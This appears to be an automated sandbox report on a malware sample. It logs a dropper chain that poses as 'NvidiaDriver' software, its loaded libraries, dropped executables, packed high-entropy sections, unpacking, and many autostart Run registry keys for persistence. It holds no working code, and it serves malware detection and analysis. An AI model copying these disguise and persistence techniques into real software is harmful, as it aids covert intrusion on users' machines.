Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: InternetDriver_cef09dcf6b774f79a4710801a7f389d4.lnk.9.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_de66a07cc206428089333ea38f399555.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_9a81a00d066d4bfa82dcac5a08bde51a.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_6719133747fd44faaab1433219bf7dc9.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_35c5431ed5714ae89884a986955f0da4.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_18ffc5a1725442b398f31d86a5253020.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_67e78d46677546c8a89b0be1cc1a70da.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_dd570d0f421f4e5797a46bcd9f0fa633.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_29431715c0454c79b9fd4c99c9087c86.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_cad9115b911f4737b404433fa80c2364.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_e7801b58c00345e5af02a481fc6970b6.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_461994a0584e408eb3dcf4bd676ca6d8.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_3d05c516b5834b8dabc47ef19f64e664.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_d0714fc59c6f40cb8ea795c5e1717a6b.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_ac4144b37c7a4eae9106eb435fb53e9d.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_cdaecd11468d45dea4c17641898fa3be.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_2e4768b1e3b147a5bd970a59e886abc7.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_5076c9e3d6c54857a127aabaa9953371.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\InternetDriver.exe
Source: InternetDriver_2b2dd6f89d0648b49b19fb6d0049ab97.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_9c42162aa6064cf496382fa5fa9e7a59.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_40a333e62b3245feb9875db00366e537.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_318d6c1d27b14600820d5c1954e1143f.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_0337b408af9a4e6b835026f5a14df7c8.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_3e2c4608ee2c413ab2c52f7c591fe146.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_0a509360e9e545b68da05213f779415b.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_c7fb3b173d3247c7ad4c060c7997efda.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_5d5114f2b78945199c3be89ad614c09d.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_4472c0c28e264555be93599bae62b8a6.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_e4d4afef04e44d44933a3a176b275626.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_47f9cda654d3460a8bdfb32342b71236.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_ac3b4eb0820a4042991d922e6cef16b2.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_e6036c26af1d43118879e0a8a36cf924.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_f7e0cbcf85e84f73b37791fc6a985ab9.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_eb561c1a12034c2eb4d4d4327700c0ed.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_782e4936eddf44dd94468e70166fe8b4.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_3c7b8f1e8ee94038b44eaf24fa1b18f7.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_e2d3d741884b43529853ff8c87ed5336.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe
Source: InternetDriver_fc0a8a6f5b474d09838b74de29eeb11f.lnk.10.dr	LNK file: ..\..\..\..\..\..\Local\Temp\NvidiaDriver\NvidiaDriver.exe

Source: file.exe

Static file information: File size 3296768 > 1048576

Source: file.exe

Static PE information: Raw size of fuapnweu is bigger than: 0x100000 < 0x2b9000

Source:

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.490000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.ac0000.0.unpack :EW;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;fuapnweu:EW;sdiwzxtv:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Unpacked PE file: 7.2.0tClIDb.exe.dd0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;tgrwqosf:EW;iapomrjr:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;tgrwqosf:EW;iapomrjr:EW;.taggant:EW;

Source: 9DNEMG3H6COYF8VY.exe.7.dr

Static PE information: 0x90BFB95C [Sat Dec 15 10:52:12 2046 UTC]

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: InternetDriver.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x8af0
Source: NvidiaDriver.exe.9.dr	Static PE information: real checksum: 0x0 should be: 0x8af0
Source: 9DNEMG3H6COYF8VY.exe.7.dr	Static PE information: real checksum: 0x0 should be: 0x8af0
Source: 0tClIDb.exe.6.dr	Static PE information: real checksum: 0x1d075d should be: 0x1d85d6
Source: 0tClIDb[1].exe.6.dr	Static PE information: real checksum: 0x1d075d should be: 0x1d85d6
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: real checksum: 0x194c4a should be: 0x16d625
Source: file.exe	Static PE information: real checksum: 0x32d0d7 should be: 0x32c76d
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x32d0d7 should be: 0x32c76d

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: fuapnweu
Source: file.exe	Static PE information: section name: sdiwzxtv
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: fuapnweu
Source: skotes.exe.0.dr	Static PE information: section name: sdiwzxtv
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name:
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: .idata
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name:
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: tgrwqosf
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: iapomrjr
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: .taggant
Source: 0tClIDb.exe.6.dr	Static PE information: section name:
Source: 0tClIDb.exe.6.dr	Static PE information: section name: .idata
Source: 0tClIDb.exe.6.dr	Static PE information: section name:
Source: 0tClIDb.exe.6.dr	Static PE information: section name: tgrwqosf
Source: 0tClIDb.exe.6.dr	Static PE information: section name: iapomrjr
Source: 0tClIDb.exe.6.dr	Static PE information: section name: .taggant
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /4
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /19
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /31
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /45
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /57
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /70
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /81
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /97
Source: 184f72cd859c47b29124ab7c76766326.exe.10.dr	Static PE information: section name: /113

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004AD91C push ecx; ret	0_2_004AD92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_004A1359 push es; ret	0_2_004A135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 1_2_00ADD91C push ecx; ret	1_2_00ADD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00ADD91C push ecx; ret	2_2_00ADD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ADD91C push ecx; ret	6_2_00ADD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00AFDEDB push ss; iretd	6_2_00AFDEDC
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 6_2_00ADDFC6 push ecx; ret	6_2_00ADDFD9
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C809B3 pushfd ; ret	7_3_00C809E1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80EF9 push ebx; ret	7_3_00C80F99
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Code function: 7_3_00C80F9A push esi; ret	7_3_00C80FB1

Source: file.exe	Static PE information: section name: entropy: 7.091531284941182
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.091531284941182
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: entropy: 7.983163637915071
Source: 0tClIDb[1].exe.6.dr	Static PE information: section name: tgrwqosf entropy: 7.953498094067115
Source: 0tClIDb.exe.6.dr	Static PE information: section name: entropy: 7.983163637915071
Source: 0tClIDb.exe.6.dr	Static PE information: section name: tgrwqosf entropy: 7.953498094067115

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\184f72cd859c47b29124ab7c76766326.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1013229001\0tClIDb.exe	File created: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\0tClIDb[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	File created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\InternetDriver.exe	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\9DNEMG3H6COYF8VY.exe	File created: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_b7f403d427dd4c4797c6de880996ae9e	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_28ad21eac4844c0f9fd2a61c5bb412c1	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_5fb642a978ef46ad8babc9faf499af6c	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_65e75b2ecd364929acc31930f272d177	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_41c478a1bd2342b88270b91a0df5f087	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_f1f5be2991ff4378aa04280f68f2731d	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_8630aa22d8f8447f80b461615583d4f2	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\NvidiaDriver\NvidiaDriver.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run InternetDriver_0765bda3d5fe4b4c9f38906a3576db2f	Jump to behavior
